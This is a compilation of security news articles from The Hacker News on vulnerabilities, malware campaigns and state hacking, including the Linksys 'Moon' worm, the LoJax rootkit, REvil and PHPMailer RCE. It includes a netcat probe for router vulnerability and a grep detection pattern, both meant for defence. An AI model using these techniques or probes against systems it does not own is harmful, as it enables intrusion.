Feedly Android App Javascript Injection vulnerability exposes Millions of Users to Hackers | https://thehackernews.com/2014/04/feedly-android-app-javascript-injection.html | When it comes to Android apps, even the simplest app could greatly compromise your privacy and security.
Injecting malicious JavaScript into Android applications has drawn an increased attention from the hacking community as its market share spikes. According to security researcher Jeremy S. from Singapore, a critical vulnerability in the Feedly app left millions of android app users vulnerable to the JavaScript infections.
Feedly is a very popular app available for iOS and Android devices, also integrated into hundreds of other third party apps, which offers its users to browse the content of their favourite blogs, magazines, websites and more at one place via RSS feed subscriptions. According to Google Play Store, more than 5 Million users have installed Feedly app into their Android devices.
In a blogpost, the researcher reported that Feedly is vulnerable to JavaScript injection attack, which is originally referred as 'cross-site scripting' or XSS vulnerability, allows an attacker to execute any JavaScript code on client-side. JavaScript is a widely used technology within the websites and web based applications, but it is use not only for the good purposes, but for the malicious purposes as well.
Feedly app was failed to sanitize the Javascript code written in the original articles on subscribed websites or blogs, that left millions of their feed subscribers open to the injection attacks. Researcher demonstrated that the vulnerability allows an attacker to execute the malicious JavaScript code within the Feedly app at the users' end. So, if a user browses an article via Feedly that might include the malicious javascript code, the users unknowingly give leverages to an attacker to carry out malicious activities against themselves.
"The android app does not sanitize JavaScript codes and interprets them as codes. As a result, allows potential attackers to perform JavaScript code executions on victim's Feedly android app session via a crafted blog post," the researcher wrote. He added, "Attacks can take place only when user browses the RSS-subscribed site's contents via the Feedly android app."
A malicious JavaScript injection allows an attacker to do a number of things, to modify or read cookies, temporarily edit web page contents, to modify web forms, to inject tracking codes or exploits codes in order to infect the Android users.
He discovered the vulnerability on 10th March and reported it to Feedly, which was then acknowledged by them and fixed on 17th March 2014. But they didn't mention any vulnerability fix in their change logs on Google Play Store. So, the users who have not enabled automated updates from Play Store, should manually update installed Feedly app as soon as possible.
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| Vulnerability |
Linksys Malware 'The Moon' Spreading from Router to Router | https://thehackernews.com/2014/02/linksys-malware-moon-spreading-from.html | Which Wireless Router do you have at your Home or Office? If it's a Linksys Router you could be in the danger to a new malware that attacks your firmware and replicates itself.
Security researcher Johannes B. Ullrich from the SANS Technology Institute has warned about a self-replicating malware which is exploiting authentication bypass and code-execution vulnerabilities in the Linksys wireless routers.
The Malware named as 'THE MOON', scans for other vulnerable devices to spread from router to router and Johannes confirmed that the malicious worm has already infected around 1,000 Linksys E1000, E1200, and E2400 routers.
In order to hack the Router, malware remotely calls the Home Network Administration Protocol (HNAP), allows identification, configuration and management of networking devices.
The Malware first request the model and firmware version of the router using HNAP and if the device founds vulnerable, it sends a CGI script exploit to get the local command execution access to the device.
Linksys's parent company has confirmed that HNAP1 implementation has a security flaw whose exploit code is publicly available on the Internet.
"There are about 670 different IP ranges that it scans for other routers. They appear to all belong to different cable modem and DSL ISPs. They are distributed somewhat worldwide),"
'To what extent this worm can be dangerous' is yet a question.
"We are still working on analysis what it exactly does. But so far, it looks like all it does is spread (which is why we call it a worm). It may have a 'call-home' feature that will report back when it infected new hosts."
To verify that your device is vulnerable or not, use following command (depending on your OS):
echo [-e] "GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n" | nc routerip 8080
If you receive an XML HNAP reply, you are likely to be victimized for the worm affecting Linksys devices and some preventive measures are to be taken. Also keep an eye on the logs of port 80 and 8080.
Users are recommended to Disable Remote Administration of their device or limits the administration right to a limited number of trusted IP addresses.
| Vulnerability |
"Certifi-Gate" Android Vulnerability Lets Hackers Take Complete Control of Your Device | https://thehackernews.com/2015/08/certifi-gate-android-vulnerability.html | Android users are busy fighting with Stagefright vulnerability while the popular mobile operating system faces another critical security vulnerability, dubbed as "Certifi-Gate".
Millions of Android devices could be hacked exploiting a plugin that comes pre-installed on your Android devices by the manufacturers.
Most of the Android device manufacturers pre-install 'Remote Support Tool (mRST)' plugin onto their phones that are intended to help users, such as RSupport or TeamViewer.
But, a critical Certifi-Gate security vulnerability in this mRTS plugin allows malicious applications to gain illegitimate privileged access rights, even if your device is not rooted.
"Certifi-Gate" Android security vulnerability
According to Israeli researchers at Check Point, Ohad Bobrov and Avi Bashan, Certifi-Gate Android vulnerability lies in the way Google's partners (manufacturers) use certificates to sign remote support tools.
Remote support tools often have root level access to Android devices, even if your device is not rooted. Thus any installed app can use Certifi-Gate vulnerability to gain unrestricted device access, including:
screen scraping
keylogging
exfiltrating private information
installing malware apps, and more
The flaw affects thousands of millions of Android devices, and users cannot uninstall the vulnerable plugin from the device because it is part of the core system…
...Ironic, huh?
"An attacker can exploit mRATs to exfiltrate sensitive information from devices such as location, contacts, photos, screen capture, and even recordings of nearby sounds." Researchers explained in the published paper.
"While analyzing and classifying mRATs, our research team found some apps share common traits with mRST. Known mRAT players include HackingTeam, mSpy, and SpyBubble."
Video Demonstration:
Android Smartphones and tablets running the latest version of Android (Lollipop) are also at risk.
Am I vulnerable to Certifi-Gate vulnerability?
Checkpoint released an app that detects if your Android device is vulnerable to the Certifi-Gate exploits and also reveals if any attacks have already been launched on the user's phone.
The annoying news is that the vulnerability may not go away anytime soon, because Android phone manufacturer companies are notoriously slow in releasing patches to users.
| Vulnerability |
QR codes - Next way for Android Malware | https://thehackernews.com/2011/10/qr-codes-next-way-for-android-malware.html | Once a user scans the QR code, the code redirects them to a site that will install a Trojan on their Android smart phones. Kaspersky's SecureList blog has a report of a malicious QR code on a web site which when scanned directs the user to a URL; the linked site doesn't have a file matching the name in the URL, but it does redirect the browser to another site where the file jimm.apk is downloaded.
The file is a trojanized version of the Jimm mobile ICQ client, infected with Trojan-SMS.AndroidOS.Jifake.f which sends a number of SMS messages to a $6 a message premium rate service.
Once installed, the Trojan will send a number of SMS messages to premium-rate numbers, which will end up costing the victim some money, depending on how quickly she is able to find and remove the Trojan.
Kaspersky's Denis Maslennikov reports that the malware itself is a Trojanized Jimm application (mobile ICQ client) which sends several SMS messages to premium rate number 2476 (US$6.00 each).
| Vulnerability |
NSA infected more than 50,000 computer networks with Malware | https://thehackernews.com/2013/11/nsa-infected-more-than-50000-computer.html | The NSA has the ability to trace "anyone, anywhere, anytime". In September we reported that how NSA and GCHQ planted malware via LinkedIn and Slashdot traffic to hack largest telecom company Belgacom's Engineers.
Yesterday, a Dutch newspaper has published a new secret NSA document provided by former intelligence employee Edward Snowden.
According to the newly exposed slide, NSA has infected more than 50,000 computer networks worldwide with software designed to steal sensitive information i.e. Malware.
The slide from the NSA's 2012 management presentation, shows a world map with more than 50,000 targeted locations, uses a procedure called 'Computer Network Exploitation' (CNE) that can secretly install malware in computer systems. The malware can be controlled remotely and be turned on and off at will.
From the NSA website we found that, CNE includes enabling actions and intelligence collection via computer networks that exploit data gathered from target or enemy information systems or networks.
"Cyberwar is a very real threat and could cause widespread problems. That is why the National Security Agency needs to be prepared by Computer Science professionals who are highly-skilled in Computer Network Operations." The website says.
To perform such offensive attacks via CNE operations, NSA has employed more than a thousand hackers under a special unit called TAO (Tailored Access Operations). Countries targeted by the CNE hackers unit includes China, Russia, Venezuela and Brazil.
Many Counties now have their own Cyber units - including China and Dutch, but their actions are prohibited by law. Officially they cannot perform operations as the NSA and GCHQ can do.
| Malware |
Cybersecurity Researchers Spotted First-Ever UEFI Rootkit in the Wild | https://thehackernews.com/2018/09/uefi-rootkit-malware.html | Cybersecurity researchers at ESET have unveiled what they claim to be the first-ever UEFI rootkit being used in the wild, allowing hackers to implant persistent malware on the targeted computers that could survive a complete hard-drive wipe.
Dubbed LoJax, the UEFI rootkit is part of a malware campaign conducted by the infamous Sednit group, also known as APT28, Fancy Bear, Strontium, and Sofacy, to target several government organizations in the Balkans as well as in Central and Eastern Europe.
Operating since at least 2007, Sednit group is a state-sponsored hacking group believed to be a unit of GRU (General Staff Main Intelligence Directorate), a Russian secret military intelligence agency. The hacking group has been associated with a number of high profile attacks, including the DNC hack just before the U.S. 2016 presidential election.
UEFI, or Unified Extensible Firmware Interface, a replacement for the traditional BIOS, is a core and critical firmware component of a computer, which links a computer's hardware and operating system at startup and is typically not accessible to users.
How Does LoJax UEFI Rootkit Work?
According to the ESET researchers, the LoJax malware has the ability to write a malicious UEFI module into the system's SPI flash memory, allowing BIOS firmware to install and execute malware deep inside the computer disk during the boot process.
"This patching tool uses different techniques either to abuse misconfigured platforms or to bypass platform SPI flash memory write protections," ESET researchers said in a blog post published today.
Since LoJax rootkit resides in the compromised UEFI firmware and re-infects the system before the OS even boots, reinstalling the operating system, formatting the hard disk, or even replacing the hard drive with a new one would not be sufficient to clean the infection.
Flashing the compromised firmware with legitimate software is the only way to remove such rootkit malware, which typically is not a simple task for most computer users.
First spotted in early 2017, LoJax is a trojaned version of a popular legitimate LoJack laptop anti-theft software from Absolute Software, which installs its agent into the system's BIOS to survive OS re-installation or drive replacement and notifies device owner of its location in case the laptop gets stolen.
According to researchers, the hackers slightly modified the LoJack software to gain its ability to overwrite UEFI module and changed the background process that communicates with Absolute Software's server to report to Fancy Bear's C&C servers.
Upon analyzing the LoJax sample, researchers found that the threat actors used a component called "ReWriter_binary" to rewrite vulnerable UEFI chips, replacing the vendor code with their malicious one.
"All the LoJax small agent samples we could recover are trojanizing the exact same legitimate sample of the Computrace small agent rpcnetp.exe. They all have the same compilation timestamp and only a few tens of bytes are different from the original one," ESET researchers said.
"Besides the modifications to the configuration file, the other changes include timer values specifying the intervals between connections to the C&C server."
LoJax is not the first code to hide in the UEFI chip, as the 2015 Hacking Team leak revealed that the infamous spyware manufacturer offered UEFI persistence with one of its products.
Also, one of the CIA documents leaked by Wikileaks last year gave a clear insight into the techniques used by the agency to gain 'persistence' on Apple Mac devices, including Macs and iPhones, demonstrating their use of EFI/UEFI and firmware malware.
However, according to ESET, the LoJax rootkit installation uncovered by its researchers is the first ever recorded case of a UEFI rootkit active in the wild.
How to Protect Your Computer From Rootkits
As ESET researchers said, there are no easy ways to automatically remove this threat from a system.
Since UEFI rootkit is not properly signed, users can protect themselves against LoJax infection by enabling the Secure Boot mechanism, which makes sure that each and every component loaded by the system firmware is properly signed with a valid certificate.
If you are already infected with such malware, the only way to remove the rootkit is to reflash the SPI flash memory with a clean firmware image specific to the motherboard, which is a very delicate process that must be performed manually and carefully.
Alternative to reflashing the UEFI/BIOS, you can replace the motherboard of the compromised system outright.
"The LoJax campaign shows that high-value targets are prime candidates for the deployment of rare, even unique threats. Such targets should always be on the lookout for signs of compromise," researchers wrote.
For more in-depth details about the LoJax root, you can head onto a white paper [PDF], titled the "LoJax: First UEFI rootkit found in the wild, courtesy of the Sednit group," published on Thursday by ESET researchers.
| Cyber_Attack |
REvil Ransomware Gang Mysteriously Disappears After High-Profile Attacks | https://thehackernews.com/2021/07/revil-ransomware-gang-mysteriously.html | REvil, the infamous ransomware cartel behind some of the biggest cyberattacks targeting JBS and Kaseya, has mysteriously disappeared from the dark web, leading to speculations that the criminal enterprise may have been taken down.
Multiple darknet and clearnet sites maintained by the Russia-linked cybercrime syndicate, including the data leak, extortion, and payment portals, remained inaccessible, displaying an error message "Onionsite not found."
The group's Tor network infrastructure on the dark web consists of one data leak blog site and 22 data hosting sites. It's not immediately clear what prompted the infrastructure to be knocked offline.
REvil is one of the most prolific ransomware-as-a-service (RaaS) groups that first appeared on the threat landscape in April 2019. It's an evolution of the GandCrab ransomware, which hit the underground markets in early 2018.
"If REvil has been permanently disrupted, it'll mark the end of a group which has been responsible for >360 attacks on the U.S. public and private sectors this year alone," Emsisoft's Brett Callow tweeted.
The sudden development comes close on the heels of a wide-scale supply chain ransomware attack aimed at technology services provider Kaseya, for which REvil (aka Sodinokibi) took responsibility for and demanded a $70 million ransom to unlock access to encrypted systems in exchange for a universal decryption key that would unlock all victims data.
The disastrous attack saw the ransomware gang encrypting approximately 60 managed service providers (MSPs) and over 1,500 downstream businesses using a zero-day vulnerability in the Kaseya VSA remote management software. In late May, REvil also masterminded the attack on the world's largest meat producer JBS, which ended up paying $11 million to the extortionists to recover from the incident.
The outage also coincides with U.S. President Joe Biden's phone call with Russian President Vladimir Putin last week, pressing the latter to take steps to disrupt ransomware groups operating in the country, while warning of retaliatory action to defend critical infrastructure.
"The situation is still unfolding, but evidence suggests REvil has suffered a planned, concurrent takedown of their infrastructure, either by the operators themselves or via industry or law enforcement action," FireEye Mandiant's John Hultquist told CNBC.
It appears that REvil's Happy Blog was taken offline around 1 AM EST on Tuesday, with vx-underground noting that the group's public-facing representative, Unknown, has not posted on popular hacking forums such as Exploit and XSS since July 8.
Subsequently, a representative for LockBit ransomware posted to the XSS Russian-speaking hacking forum that REvil's attack infrastructure received a government legal request, causing the servers to be dismantled. "REvil is banned from XSS," vx-underground later added.
It's not uncommon for ransomware groups to go under the ground following highly publicized incidents. After the DarkSide gang targeted Colonial Pipeline in May, the operators announced plans to wind up its RaaS affiliate program for good, claiming that its servers had been seized by an unknown law enforcement agency, raising questions as to whether the group actually retired, or rebranded under a new name.
This theory was validated a few weeks later when the U.S. Department of Justice revealed last month that it was able to recover most of the money paid by Colonial Pipeline to the DarkSide group through an analysis of the bitcoin trails.
REvil's unexplained shutdown, in a similar fashion, may as well be a case of planned retirement, or a temporary setback, forcing it to seemingly disband only to eventually reassemble under a new identity so as to attract less attention, or a consequence of increased international scrutiny in the wake of the global ransomware crisis.
If it indeed turns out that the group has permanently shuttered operations, the move is bound to leave the group's targets in the lurch, with no viable means to negotiate ransoms and get hold of the decryption keys necessary to regain control of their systems, thus permanently locking them out of their data.
"I don't know what this means, but regardless, I'm happy!" tweeted Katie Nickels, director of intelligence at Red Canary. "If it's a government takedown - awesome, they're taking action. If the actors voluntarily went quiet - excellent, maybe they're scared."
| Cyber_Attack |
Thousands of Hacked WordPress Sites Abused to Infect Millions of Visitors | https://thehackernews.com/2015/09/hack-wordpress.html | A Large number of WordPress websites were compromised in last two weeks with a new malware campaign spotted in the wild.
WordPress, a Free and Open source content management system (CMS) and blogging tool, has been once again targeted by hackers at large scale.
Researchers at Sucuri Labs have detected a "Malware Campaign" with an aim of getting access to as many devices they can by making innumerable WordPress websites as its prey.
The Malware campaign was operational for more than 14 days ago, but it has experienced a massive increase in the spread of infection in last two days, resulted in affecting more than 5000 Wordpress websites.
The Security researchers call this malware attack as "VisitorTracker", as there exists a javascript function named visitorTracker_isMob() in the malicious code designed by cyber criminals.
This new campaign seems to be utilizing the Nuclear Exploit Kit and uses a combination of hacked WordPress sites, hidden iframes and number of known and unknown Browser exploits.
Though if we go by the name, it's meaning can be extracted as tracking every visitor who accesses the victimized WordPress sites and further redirects them to the specially crafted page where the Nuclear Exploit Kit is planted.
So, Plan of Action is:
Insert a malware code to all the JavaScript files on the compromised WordPress website.
On sensing a Visitor, Taking him to the exploit landing page via an iFrame.
The landing page pushes browser based Exploits on the victim's system to gain access.
If Introspect, we'll notice that the exploit kit being used here can deploy attacks through vulnerabilities in plugins with an aim of data exfiltration.
The Sucuri researchers team as a solution suggest, "The infection is very buggy and often removed single-quotes from legitimate files that corrupt the site completely. Affects plugins, themes and even core files of WordPress and Joomla. The solution is to restore files from a clean backup."
Moreover, to check if you are affected by the attack follow the below-mentioned command: (user with Admin rights can access)
grep -r "visitorTracker_isMob" /var/www/
Additionally, as a prevention:
Keep your plugins up-to-date, with latest security patches implemented.
Always maintain a backup of your sensitive data.
| Malware |
New Flaws in Top Antivirus Software Could Make Computers More Vulnerable | https://thehackernews.com/2020/10/antivirus-software-vulnerabilities.html | Cybersecurity researchers today disclosed details of security vulnerabilities found in popular antivirus solutions that could enable attackers to elevate their privileges, thereby helping malware sustain its foothold on the compromised systems.
According to a report published by CyberArk researcher Eran Shimony today and shared with The Hacker News, the high privileges often associated with anti-malware products render them more vulnerable to exploitation via file manipulation attacks, resulting in a scenario where malware gains elevated permissions on the system.
The bugs impact a wide range of antivirus solutions, including those from Kaspersky, McAfee, Symantec, Fortinet, Check Point, Trend Micro, Avira, and Microsoft Defender, each of which has been fixed by the respective vendor.
Chief among the flaws is the ability to delete files from arbitrary locations, allowing the attacker to delete any file in the system, as well as a file corruption vulnerability that permits a bad actor to eliminate the content of any file in the system.
Per CyberArk, the bugs result from default DACLs (short for Discretionary Access Control Lists) for the "C:\ProgramData" folder of Windows, which are by applications to store data for standard users without requiring additional permissions.
Given that every user has both write and delete permission on the base level of the directory, it raises the likelihood of a privilege escalation when a non-privileged process creates a new folder in "ProgramData" that could be later accessed by a privileged process.
Antivirus
Vulnerability
Kaspersky Security Center CVE-2020-25043, CVE-2020-25044, CVE-2020-25045
McAfee Endpoint Security and McAfee Total Protection CVE-2020-7250, CVE-2020-7310
Symantec Norton Power Eraser CVE-2019-1954
Fortinet FortiClient CVE-2020-9290
Check Point ZoneAlarm and Check Point Endpoint Security CVE-2019-8452
Trend Micro HouseCall for Home Networks CVE-2019-19688, CVE-2019-19689, and three more unassigned flaws
Avira CVE-2020-13903
Microsoft Defender CVE-2019-1161
In one case, it was observed that two different processes — one privileged and the other run as an authenticated local user — shared the same log file, potentially allowing an attacker to exploit the privileged process to delete the file and create a symbolic link that would point to any desired arbitrary file with malicious content.
Subsequently, CyberArk researchers also explored the possibility of creating a new folder in "C:\ProgramData" before a privileged process is executed.
In doing so, they found that when McAfee antivirus installer is run after creating the "McAfee" folder, the standard user has full control over the directory, allowing the local user to gain elevated permissions by performing a symlink attack.
To top it all, a DLL hijacking flaw in Trend Micro, Fortinet, and other antivirus solutions could have been exploited by an attacker to place a malicious DLL file into the application directory and elevate privileges.
Urging that access control lists must be restrictive to prevent arbitrary delete vulnerabilities, CyberArk stressed the need to update the installation frameworks to mitigate DLL Hijacking attacks.
While these issues may have been addressed, the report serves as a reminder that weaknesses in software, including those that aim to offer antivirus protection, can be a conduit for malware.
"The implications of these bugs are often full privilege escalation of the local system," CyberArk researchers said. Due to the high privilege level of security products, an error in them could help malware to sustain its foothold and cause more damage to the organization."
| Vulnerability |
Critical Updates — RCE Flaws Found in SwiftMailer, PhpMailer and ZendMail | https://thehackernews.com/2017/01/phpmailer-swiftmailer-zendmail.html | A security researcher recently reported a critical vulnerability in one of the most popular open source PHP libraries used to send emails that allowed a remote attacker to execute arbitrary code in the context of the web server and compromise a web application.
Disclosed by Polish security researcher Dawid Golunski of Legal Hackers, the issue (CVE-2016-10033) in PHPMailer used by more than 9 Million users worldwide was thought to be fixed with the release of version 5.2.18.
However, Golunski managed to bypass the patched version of PHPMailer that was given a new CVE (CVE-2016-10045), which once again put millions of websites and popular open source web apps, including WordPress, Drupal, 1CRM, SugarCRM, Yii, and Joomla, at risk of remote code execution attack.
PHPMailer eventually fixed the issue with an update, version 5.2.20. All versions of PHPMailer before this critical release are affected, so web administrators and developers are strongly recommended to update to the new version.
In addition to this bug, Golunski also reported a similar vulnerability in two other mailing libraries for PHP, SwiftMailer, and ZendMail, that could have also led to remote code execution attack.
RCE Flaw in SwiftMailer
SwiftMailer is also a popular PHP library used by many major open-source projects, including top PHP programming frameworks like Yii2, Laravel, Symfony for sending emails over SMTP.
The vulnerability (CVE-2016-10074) in SwiftMailer can be exploited in the same manner as the PHPMailer vulnerability by targeting web site components that use SwiftMailer class, such as contact/registration forms, password email reset forms, and so forth.
Attackers can execute arbitrary code remotely in the context of the web server, which could further be exploited to access a web server hosting a web application that used a vulnerable version of the library.
The SwiftMailer vulnerability affects all versions of the library, including the then-current release, version 5.4.5-DEV.
Golunski disclosed the vulnerability to SwiftMailer team, and developers acted fast to fix the issue, rolling out patched version 5.4.5 within a day.
"The mail transport (Swift_Transport_MailTransport) was vulnerable to passing arbitrary shell arguments if the "From," "ReturnPath" or "Sender" header came from a non-trusted source, potentially allowing Remote Code Execution," reads the changelog for SwiftMailer on GitHub.
RCE Flaw in ZendMail
ZendMail is a component of a very popular PHP programming framework Zend Framework with more than 95 Million installations.
The critical vulnerability (CVE-2016-10034) in ZendMail can also be exploited in the same manner as one discovered in PHPMailer and SwiftMailer by targeting web site components that use ZendMail, like contact/registration forms, password email reset forms, and so on.
Attackers could achieve remote code execution in the context of the web server and could remotely compromise the target web application that used the vulnerable version of the ZendMail.
The researcher reported the issue to ZendMail, and the developers fixed the vulnerability and rolled out the patched version.
"When using the zend-mail component to send email via the Zend\Mail\Transport\Sendmail transport, a malicious user may be able to inject arbitrary parameters to the system sendmail program," ZendMail wrote in a blog post.
"The attack is performed by providing additional quote characters within an address; when unsanitized, they can be interpreted as additional command line arguments, leading to the vulnerability."
Golunski has released a proof-of-concept video demonstration that will show all the three attacks in action.
Golunski has also released a 3-in-1 exploit, nicknamed PwnScriptum, about the vulnerabilities in PHPMailer, SwiftMailer, and ZendMail.
The researcher will soon be revealing a security white-paper with previously unknown exploitation vectors and techniques that can be used to exploit all the 3 vulnerabilities.
| Vulnerability |
CASPER Surveillance Malware Linked to French Government | https://thehackernews.com/2015/03/casper-surveillance-malware-france.html | Last month, cyber security researchers spotted a new strain of french surveillance malware, dubbed "Babar," which revealed that even French Government and its spying agency the General Directorate for External Security (DGSE) is dedicatedly involved in conducting surveillance operation just like the United States — NSA and United Kingdom — GCHQ.
A powerful piece of surveillance malware, known as "Casper," has recently been discovered by the Canadian security researchers that once again point fingers at the French government.
CASPER SURVEILLANCE MALWARE LINKED TO FRANCE
The newly discovered sophisticated Casper surveillance malware is believed to be developed by France based hacking group suspected to have ties with the French government, according to the report published by Motherboard.
Report suggests that French hacking group have developed 'Swiss Army knife of spying tools' which has been used by French government to conduct multiple espionage campaigns over the last few years.
WHAT IS CASPER ?
Casper is a 'recognition tool', designed to profile its targets and determine whether the victim is of interest for further surveillance or not. Casper surveillance malware was used as an initial program before deploying any advance persistent malware into the targeted computers for espionage purpose.
In April 2014, Casper surveillance malware was especially hosted on a hacked Syrian Government's Ministry of Justice website to infect its targets by exploiting two Flash Player zero-day vulnerabilities that were not known publicly at that time.
Syrian Ministry of Justice website which was set up in 2011 by the government for citizens to send complaints to the Bashar al-Assad regime. Casper malware was hosted in a folder on the website and users who accessed that folder were infected by the surveillance malware.
These kind of zero-day exploits, in some way, open doors for hackers to collect information from the target computers and cost Millions of Dollars in exploit market. It is believed that Casper surveillance malware is created by experts with significant financial resources i.e. State-sponsored.
BABAR, CASPER — SAME MALWARE FAMILY — SAME FATHER
After analyzing the code fragments of a Casper malware, researchers found numerous similarities between Casper surveillance malware and the Babar.
Babar, is an advance malware developed in 2009, capable of eavesdropping on online conversations which held via Skype, MSN and Yahoo messenger, and records and transfers keystrokes, clipboard data, and monitors which websites an infected user has visited.
Babar was used against Iranian nuclear research institutes and universities, and European financial institutions. It was previously mentioned in a slideshow leaked by NSA whistleblower Edward Snowden, where it was linked to French Government by the Canadian intelligence agency.
Casper, on other hand, is the mature version of the Babar and is literally a ghost spy program. Once infected, Casper surveillance malware gather all the "intelligence information" about the target computer and sends them back to the control center without ever revealing its presence.
If a victim was found interesting and worthy of further hacking, Casper surveillance malware enabled the hackers to deploy additional malware, such as Babar, through a built-in platform for plugins.
| Malware |
Use This One-Click Mitigation Tool from Microsoft to Prevent Exchange Attacks | https://thehackernews.com/2021/03/use-this-one-click-mitigation-tool-from.html | Microsoft on Monday released a one-click mitigation software that applies all the necessary countermeasures to secure vulnerable environments against the ongoing widespread ProxyLogon Exchange Server cyberattacks.
Called Exchange On-premises Mitigation Tool (EOMT), the PowerShell-based script serves to mitigate against current known attacks using CVE-2021-26855, scan the Exchange Server using the Microsoft Safety Scanner for any deployed web shells, and attempt to remediate the detected compromises.
"This new tool is designed as an interim mitigation for customers who are unfamiliar with the patch/update process or who have not yet applied the on-premises Exchange security update," Microsoft said.
The development comes in the wake of indiscriminate attacks against unpatched Exchange Servers across the world by more than ten advanced persistent threat actors — most of the government-backed cyberespionage groups — to plant backdoors, coin miners, and ransomware, with the release of proof-of-concept (PoC) fueling the hacking spree even further.
Based on telemetry from RiskIQ, 317,269 out of 400,000 on-premises Exchange Servers globally have been patched as of March 12, with the U.S., Germany, Great Britain, France, and Italy leading the countries with vulnerable servers.
Additionally, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has updated its guidance to detail as many as seven variants of the China Chopper web shell that are being leveraged by malicious actors.
Taking up just four kilobytes, the web shell has been a popular post-exploitation tool of choice for cyber attackers for nearly a decade.
While the breadth of the intrusions is being assessed, Microsoft is also reportedly investigating how the "limited and targeted" attacks it detected in early January picked up steam to quickly morph into a widespread mass exploitation campaign, forcing it to release the security fixes a week before it was due.
The Wall Street Journal on Friday reported that investigators are focused on whether a Microsoft partner, with whom the company shared information about the vulnerabilities through its Microsoft Active Protections Program (MAPP), either accidentally or purposefully leaked it to other groups.
It is also being claimed that some tools used in the "second wave" of attacks towards the end of February are similar to proof-of-concept attack code that Microsoft shared with antivirus companies and other security partners on February 23, raising the possibility that threat actors may have gotten their hands on private disclosure that Microsoft shared with its security partners.
The other theory is that the threat actors independently discovered the same set of vulnerabilities, which were then exploited to stealthily conduct reconnaissance of target networks and steal mailboxes, before ramping up the attacks once the hackers figured out Microsoft was readying a patch.
"This is the second time in the last four months that nation-state actors have engaged in cyberattacks with the potential to affect businesses and organizations of all sizes," Microsoft said. "While this began as a nation-state attack, the vulnerabilities are being exploited by other criminal organizations, including new ransomware attacks, with the potential for other malicious activities."
| Cyber_Attack |
Student Decrypts Simplocker Android Ransomware that Encrypts Files | https://thehackernews.com/2014/06/student-cracks-simplelocker-android.html | In a previous story, I reported about a new ransomware threat known as Simplocker discovered by researchers at the security firm ESET, targeting Android users in the UK, Switzerland, Germany, India and Russia, for ransom.
Simplocker (Android/Simplocker.A) is the latest Android ransomware that has ability to encrypt the files using Advanced Encryption Standard (AES) on the Android device SD cards demanding users pay a ransom of 260 UAH (Ukrainian hryvnias), which is roughly equal to $21 US, for those files to be decrypted.
To hide their track, the malware author is using the Command-and-Control server hosted on TOR .onion domain, which makes it difficult to trace the server's physical location or determine who is operating it.
The malware collects information about the users' phone such as IMEI number, Operating System, phone model and manufacturer to send it all to Command-and-Control server.
STUDENT CRACKS SIMPLOCKER RANSOMWARE
Now, an undergraduate student Simon Bell from the University of Sussex promises to release a Java application to decrypt the files encrypted by the so-called first Android File-encrypting and TOR-enabled Mobile Ransomware.
In a technical blog, Secure Honey published Monday, the student has given a detailed explanation on how to reverse Simplocker Ransomware and develop an app to pluck the decryption keys stored within.
"This dissection shows how the app encrypts user's files and that information about the phone is sent to a C&C (command and control) server on the TOR network," Bell writes. "But one important question remains unanswered: would it be possible to decrypt files that have been encrypted by the app without connecting to the C&C server? In other words: can we reverse the damage done by this app?"
Bell detailed the Static and Dynamic analysis of the Ransomware code and found a method called decrypt() which is very similar to the encrypt() method.
"Obviously this method carries out the decryption on the input file and produces the decrypted output file," he said. "The same line numbers from the encrypt() method are highlighted to demonstrate how decryption occurs."
In his next blog, he'll publish the crypto-cracking app allowing victims to free their devices from the nasty Ransomware without paying any ransom fine.
We have seen many similar threat such as CryptoLocker, CryptoWall and PrisonLocker ransomware targeting users Worldwide, but the only difference is that first they were targeting PCs and now with the popularity of Android platform, they are targeting Smartphones.
But to keep yourself away from such emerging threats, it is always important for you to keep the back-up of all your files either manually on the computer system or with the use of cloud backup services like Dropbox, Google drive etc.
We'll update you the antidote for this ransomware as soon as he get it done. Stay Tuned!
UPDATE: You can download Java program to Decrypt Simplelocker Android Ransomware.
| Malware |
Secret Charges Against Julian Assange Revealed Due to "Cut-Paste" Error | https://thehackernews.com/2018/11/indictment-wikileaks-julian-assange.html | Has Wikileaks founder Julian Assange officially been charged with any unspecified criminal offense in the United States? — YES
United States prosecutors have accidentally revealed the existence of criminal charges against Wikileaks founder Julian Assange in a recently unsealed court filing in an unrelated ongoing sex crime case in the Eastern District of Virginia.
Assistant US Attorney Kellen S. Dwyer, who made this disclosure on August 22, urged the judge to keep the indictment [pdf] prepared against Assange sealed (secret) "due to the sophistication of the defendant, and the publicity surrounding the case."
Dwyer is assigned to the WikiLeaks case.
Dwyer also said the charges would "need to remain sealed until Assange is arrested in connection with the charges" in the indictment and can, therefore "no longer evade or avoid arrest and extradition in this matter."
WikiLeaks, the website that published thousands of classified U.S. government documents in 2010, said on social network Twitter that the Assange's name appearing in those court documents was due to an "apparent cut-and-paste error."
The charges America is bringing against the WikiLeaks Founder remains unclear, but the Justice Department last year was reportedly considering filing criminal charges against WikiLeaks and Assange in connection with the leak of diplomatic cables and military documents in 2010.
Special counsel Robert S. Mueller is probing leaks during the U.S. 2016 presidential election, and it was WikiLeaks who made public stolen emails from officials of Democratic National Committee (DNC), including Hillary Clinton's campaign chairman John Podesta.
Assange, the 47-year-old Australian hacker, founded WikiLeaks in 2006 and has since made many high-profile leaks, exposing 'dirty' secrets of several individuals, political parties as well as government organizations across the world.
Assange has been forced to live in the Ecuadorian Embassy in London since June 2012, after he was granted asylum by the Ecuador government when a British court ordered his extradition to Sweden to face questioning sexual assault and rape.
However, Assange's relationship with Ecuador has deteriorated in recent months, leaving his future uncertain. Ecuador has cut him off the Internet and any communication with the outside world except for his lawyers since this March.
The circumstances even made it difficult for him to do his job of editor-in-chief to run WikiLeaks and forced the whistleblower organization to appoint its new editor-in-chief, Kristinn Hrafnsson.
The new charges against Assange could ultimately have additional cascading effects.
"The news that criminal charges have apparently been filed against Mr. Assange is even more troubling than the haphazard manner in which that information has been revealed," Assange lawyer Barry Pollack told The New York Times.
"The government bringing criminal charges against someone for publishing truthful information is a dangerous path for a democracy to take."
| Cyber_Attack |
Smartphone wireless chipset vulnerable to DoS attack | https://thehackernews.com/2012/10/smartphone-wireless-chipset-vulnerable.html | Security researcher Andres Blanco from CoreSecurity discovered a serious vulnerability in two Wireless Broadcom chipsets used in Smartphones. Broadcom Corporation, a global innovation leader in semiconductor solutions for wired and wireless communications.
Broadcom BCM4325 and BCM4329 wireless chipsets have been reported to contain an out-of-bounds read error condition that may be exploited to produce a denial-of-service condition. Other Broadcom chips are not affected. The CVE ID given to issue is CVE-2012-2619.
